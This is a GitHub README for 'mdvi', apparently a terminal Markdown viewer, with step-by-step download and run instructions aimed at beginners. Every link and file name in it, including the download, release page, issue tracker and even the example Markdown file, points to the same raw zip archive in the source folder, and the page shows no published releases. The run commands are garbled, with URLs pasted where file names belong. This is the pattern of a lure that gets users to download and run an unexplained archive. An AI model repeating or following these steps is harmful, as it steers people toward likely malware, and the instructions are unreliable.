Skip to content

📄 View markdown files in the terminal with fast Vim-style navigation, clean layout, and support for images, code, and large documents.

License

Notifications You must be signed in to change notification settings

JINrielIDK/mdvi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

📄 mdvi - Simple Markdown Viewer for Everyone

Download mdvi


🛠 What is mdvi?

mdvi is a command-line program that lets you view Markdown files quickly and clearly. Markdown is a type of text format used for writing notes, documents, and web pages. Instead of opening a file in a complex program, mdvi shows it in an easy-to-read way right in your terminal or command prompt.

This tool is useful for anyone who works with Markdown files too often and wants a simple way to read them without extra software or formatting.


💻 Who is mdvi for?

  • People who write or read Markdown notes.
  • Users who want a quick way to view Markdown without opening graphic editors.
  • Anyone comfortable using basic command prompt or terminal commands.

You don’t need to know how to code or use advanced tools. This guide will take you through the full process from getting to running mdvi.


📋 System Requirements

Before starting, please make sure:

  • Your computer uses one of these operating systems:
    • Windows 10 or later
    • macOS 10.13 (High Sierra) or later
    • Linux (most recent versions)
  • You have a terminal or command prompt app:
    • On Windows: Command Prompt or PowerShell
    • On macOS: Terminal app (found in Utilities)
    • On Linux: Terminal app (varies by distribution)
  • Your Markdown files are saved on your device and accessible.

If you’re unsure, this guide will help walk you through the basics.


📥 Download & Install mdvi

To get mdvi, visit the official release page here:

Download mdvi Releases

Here is how to proceed:

  1. Click the link above or the blue Download button at the top. This link takes you to the release page where the latest files are stored.
  2. Look for the version of mdvi that matches your operating system. These will usually have names such as:
    • https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip for Windows
    • mdvi-macos for Mac
    • mdvi-linux for Linux
  3. Click the file name to start your download.
  4. Once the file finishes downloading, locate it in your Downloads folder or chosen save location.

No installation wizard runs here. You just need to save the program file on your computer.

Running mdvi

After saving the correct mdvi file for your system, follow the steps below.


▶️ How to Run mdvi

Windows

  1. Open Command Prompt or PowerShell.
    • Press Win + R, type cmd, and hit Enter to open Command Prompt.
  2. Navigate to the folder where you saved mdvi.
    • Use the command:
      cd C:\Users\YourName\Downloads
      Replace YourName with your actual username or the folder path where you saved mdvi.
  3. Run mdvi by typing:
    .\https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
    Replace https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip with the name of your Markdown file.

macOS and Linux

  1. Open Terminal.
  2. Go to the folder with mdvi:
    cd ~/Downloads
    (Or where you saved the file.)
  3. Set executable permission if needed:
    chmod +x mdvi-macos
    (or mdvi-linux for Linux)
  4. Run the program by typing:
    ./mdvi-macos https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
    (Replace https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip with your file name.)

If the Markdown file you want to view is somewhere else, provide the full path to that file, for example:
./mdvi-macos https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip


📖 Using mdvi: Basic Commands

mdvi focuses on showing your Markdown file clearly. Once running, it converts the raw Markdown text into nicely formatted text in your terminal.

  • You only need to provide the file name or path when you run it.
  • mdvi displays headings, lists, links, and code blocks with simple formatting.
  • Scroll through your file using your terminal’s scroll bar.
  • To exit mdvi, press Ctrl + C or close the terminal window.

More advanced features will appear in future updates, but this version keeps things straightforward.


🧰 Tips for Markdown Files

If you’re new to Markdown, here are some basics on what you can write and how mdvi will show them:

  • # Heading 1 becomes a large title.
  • ## Heading 2 is shown smaller but clear.
  • * Bullet points and - Dashes create lists.
  • [Link](https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip) appears as clickable or colored text in supported terminals.
  • Blocks of code appear with indentation, making them easy to spot.
  • Plain paragraphs keep the text neat and readable.

You can write Markdown in any text editor like Notepad (Windows), TextEdit (Mac), or Gedit (Linux).


🚑 Troubleshooting

If mdvi does not work as expected, check the following:

  • Make sure you typed the exact file name in the command.
  • Confirm your Markdown file exists and is not open in another program.
  • Verify you downloaded the correct mdvi file for your operating system.
  • If you see “permission denied” on macOS/Linux, run chmod +x <file> as shown above.
  • Use --help after mdvi to see any available commands:
    ./mdvi-macos --help

If problems persist, you can open an issue on the GitHub page:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip


🔄 Updating mdvi

To update mdvi to the latest version:

  1. Return to the release page:
    https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
  2. Download the newest file matching your OS.
  3. Replace the old mdvi program file with the new one in your saved folder.
  4. Run mdvi as before.

👍 Additional Resources


📫 Contact & Support

If you want to suggest features or report bugs for mdvi, use the GitHub issue tracker:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip

For general questions, you can look at the discussions area on GitHub or join community Markdown forums.


Thank you for choosing mdvi to make your Markdown viewing simpler. Visit the release page to get started: https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip

About

📄 View markdown files in the terminal with fast Vim-style navigation, clean layout, and support for images, code, and large documents.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages